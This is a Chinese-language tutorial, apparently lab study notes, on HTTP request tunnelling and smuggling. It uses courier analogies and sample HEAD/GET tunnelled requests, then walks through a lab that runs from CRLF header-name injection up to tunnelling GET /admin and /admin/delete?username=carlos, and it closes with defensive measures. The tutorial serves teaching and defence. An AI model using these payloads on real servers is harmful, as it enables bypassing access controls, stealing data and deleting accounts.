  • 攻击者:像故意拼错积木的人,利用某些连接点的松动(服务器解析漏洞),让模型变成危险的陷阱。

理解RFC规则,就能明白为什么某些请求能走私成功,以及如何防御(强制所有服务器严格遵循RFC)。

请求隧道攻击的概念讲解:

概念讲解:

  • 通俗易懂版:HTTP请求隧道攻击详解


    1. 什么是HTTP请求隧道?

    想象你寄快递时,快递员(前端服务器)负责检查包裹内容,但实际送货的是另一位快递员(后端服务器)。请求隧道就是攻击者把“违禁品”(恶意请求)藏在正常包裹里,让快递员A(前端)不检查,直接转交给快递员B(后端),从而绕过安检。


    2. 隧道 vs 传统走私的区别

    • 传统请求走私:污染快递分拣队列,让别人的包裹错发到你的地址。
    • 请求隧道:直接在包裹里藏一个“小包裹”(隧道请求),让后端处理隐藏的请求,而前端浑然不知。

    3. 为什么能绕过前端安全措施?

    • 前端只做表面检查:比如检查快递单号(URL路径),但不拆开包裹看内容(请求体)。
    • 后端老实处理所有内容:只要包裹送到,后端会拆开所有隐藏的小包裹(隧道请求)。

    🌰 生活化案例

    • 攻击场景:某网站禁止普通用户访问/admin,但后端实际存在该接口。

    • 攻击步骤

      1. 你发送一个“正常包裹”(合法请求),里面藏了一个“小包裹”(GET /admin)。
      2. 前端检查快递单号(URL)没问题,转交给后端。
      3. 后端拆开包裹,处理两个请求:正常请求 + 隐藏的/admin请求。
      4. 后端把两个响应打包返回,但前端只看到正常响应,隐藏的/admin数据被你窃取。

    🔧 技术细节拆解

    HTTP/1 与 HTTP/2 的隧道差异

    对比项 HTTP/1 环境 HTTP/2 环境
    检测难度 高(响应混杂,难区分) 低(每个请求/响应有独立“流”)
    利用特征 响应可能包含多个混杂内容 响应中可明显看到HTTP/1格式的“走私响应”
    示例 前端返回的数据里夹带私货(需手动解析) 直接看到类似HTTP/1.1 200 OK的完整响应头

    盲隧道 vs 非盲隧道

    盲隧道(你蒙着眼攻击)
    • 特征

      • 前端只返回主请求的响应,隐藏请求的响应被忽略。
      • 攻击者无法直接看到隐藏请求的结果。
    • 利用场景

      • 触发后台操作(如删除数据、发送邮件)。
      • 需要间接验证(如观察系统状态变化)。
    非盲隧道(睁着眼攻击)
    • 特征

      • 隐藏请求的响应会“泄露”到主请求的响应中。
      • 攻击者可直接窃取数据(如Cookie、敏感页面)。
    • 示例攻击

      1. 构造一个HEAD请求包裹,隐藏GET /admin请求。
      2. 前端认为HEAD请求的响应长度应为131字节。
      3. 后端返回HEAD响应 + /admin的完整响应(总长度超过131)。
      4. 前端只读取前131字节,但攻击者能从后续字节中提取/admin数据。

    ⚡ 攻击步骤(以非盲隧道为例)

    1. 构造隧道请求

    1
    2
    3
    4
    5
    6
    7
    http复制HEAD /comment HTTP/2 
    Host: vulnerable-website.com
    A: 1

    GET /tunnelled HTTP/1.1
    Host: vulnerable-website.com
    X: x
    • 关键点

      • 主请求是HEAD /comment(前端认为无响应体)。
      • 隐藏请求是GET /tunnelled(后端会处理并返回数据)。

    2. 分析响应

    • 正常响应

      (无隧道):

      1
      2
      3
      http复制HTTP/2 200 OK 
      Content-Length: 131
      (空响应体,因为HEAD请求)
    • 隧道成功响应

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      http复制HTTP/2 200 OK 
      Content-Length: 131 # 前端只读到这里

      HTTP/1.1 200 OK # 隐藏响应的内容从这里开始泄露
      Content-Type: text/html
      Content-Length: 4286

      <!DOCTYPE html>
      <h1>Tunnelled</h1>
      <p>This is a tunnelled respo...
    • 攻击者收获:窃取了/tunnelled页面的前131字节内容。


    🛡️ 防御措施

    1. 严格校验请求边界

      • 禁止同时包含Content-LengthTransfer-Encoding头。
    2. 禁用连接复用

      • 前后端之间强制使用Connection: close
    3. 隔离用户请求

      • 确保同一连接仅处理同一用户的请求(通过IP或Session绑定)。
    4. 监控异常响应

      • 检测响应中是否包含其他请求的数据(如HTTP/1响应混入HTTP/2流)。

    📌 总结

    • 请求隧道是高级走私技术:专攻前端“偷懒检查”的弱点,让后端处理隐藏请求。
    • HTTP/2更易检测:因响应格式清晰,而HTTP/1需手动“挖宝”。
    • 防御核心:前后端统一解析规则 + 严格隔离用户请求。

1. 什么是“隧道”(Tunneling)?

在HTTP请求走私中,“隧道”指将恶意请求隐藏在合法请求中,利用前后端服务器对协议解析的差异,绕过前端安全检查,使后端处理隐藏的请求。核心特征

  • 一个请求通道传输多个请求:前端认为只发送了一个请求,后端却处理了多个请求。
  • 隐藏请求的执行结果:恶意请求的响应可能被前端忽略或部分截取,但攻击效果已达成。

📌 攻击步骤中的隧道体现

阶段1:CRLF注入(确认漏洞)

  • 操作:在Header名中插入\r\n,覆盖Host头。

  • 隧道体现

    • 前端视角:只看到一个Header(foo: bar\r\nHost: abc)。
    • 后端视角:解析为两个Header(foo: barHost: abc),说明通过一个请求传递了篡改后的请求信息
    • 本质:在单个请求中“夹带”额外指令,验证了隧道可行性。

阶段2:构造POST请求走私认证头

  • 操作:注入Content-Length:500头,填充超长请求体。

  • 隧道体现

    1. 前端视角:认为这是一个完整的POST请求(长度500字节)。

    2. 后端视角

      • 解析到Content-Length:500后,期望接收500字节的请求体。
      • 实际请求体长度不足500字节,后端会等待后续数据,导致后续请求被拼接。
    3. 结果

      • 后端将下一个请求(如用户的其他请求)拼接到当前请求体中。
      • 攻击者通过观察响应,发现前端添加的认证头(如X-FRONTEND-KEY),证明后端处理了多个请求
    • 隧道作用:通过单次请求污染后端请求队列,窃取敏感信息。

阶段3:构造HEAD请求隧道访问/admin

  • 操作:在Header名中注入完整的GET /admin请求。

  • 隧道体现

    1. 前端视角

      • 认为这是一个合法的HEAD请求(无请求体)。
      • 头部包含foo: bar\r\n...GET /admin...,但前端不解析Header名中的换行符。
    2. 后端视角

      • 解析Header名时发现

        1
        \r\n

        ,将其视为

        两个独立请求

        1
        2
        http复制HEAD / HTTP/1.1          # 主请求 
        GET /admin HTTP/1.1 # 隐藏请求(隧道)
    3. 结果

      • 后端处理GET /admin请求,返回管理页面内容。
      • 前端只读取HEAD请求的响应(固定长度),但攻击者从响应截断处获取部分敏感数据。
    • 隧道作用:通过一个请求触发后端执行隐藏的高权限操作。

阶段4:删除用户(最终攻击)

  • 操作:隧道请求路径改为/admin/delete?username=carlos

  • 隧道体现

    • 前端视角:仍认为是一个HEAD请求,无副作用。

    • 后端视角

      :处理了两个请求:

      1
      2
      http复制HEAD /login HTTP/1.1          # 主请求(伪装)
      GET /admin/delete?... HTTP/1.1 # 隐藏请求(实际攻击)
    • 结果:用户carlos被删除,实验完成。

    • 隧道作用:完全隐藏攻击行为,前端无法感知。


🌰 生活化类比

  1. 快递员(前端)检查包裹:只检查快递单(请求头),不拆开包裹(请求体)。
  2. 攻击者(你):在快递单上写“内附贺卡”,实际在包裹里藏了“销毁货物指令”(隐藏请求)。
  3. 仓库(后端):拆开包裹后,执行“销毁指令”,但快递员只看到“贺卡已送达”。
  4. 结果:货物被销毁,但快递系统(前端)无记录。

🔍 总结:隧道的关键特征

  1. 请求嵌套:一个外层请求包裹内层恶意请求。
  2. 解析差异:前端和后端对请求边界的理解不同。
  3. 隐蔽执行:恶意请求的响应被前端忽略或部分截断,但攻击效果生效。

⚡ 快速自查:哪里用到了隧道?

  • 注入额外请求头(如GET /admin) → 隧道传递恶意指令。
  • 修改协议或方法(如HEAD改为POST) → 掩盖隧道请求。
  • 利用响应截断 → 隐藏隧道请求的完整响应。

只有同时满足以上三点,才是完整的隧道攻击!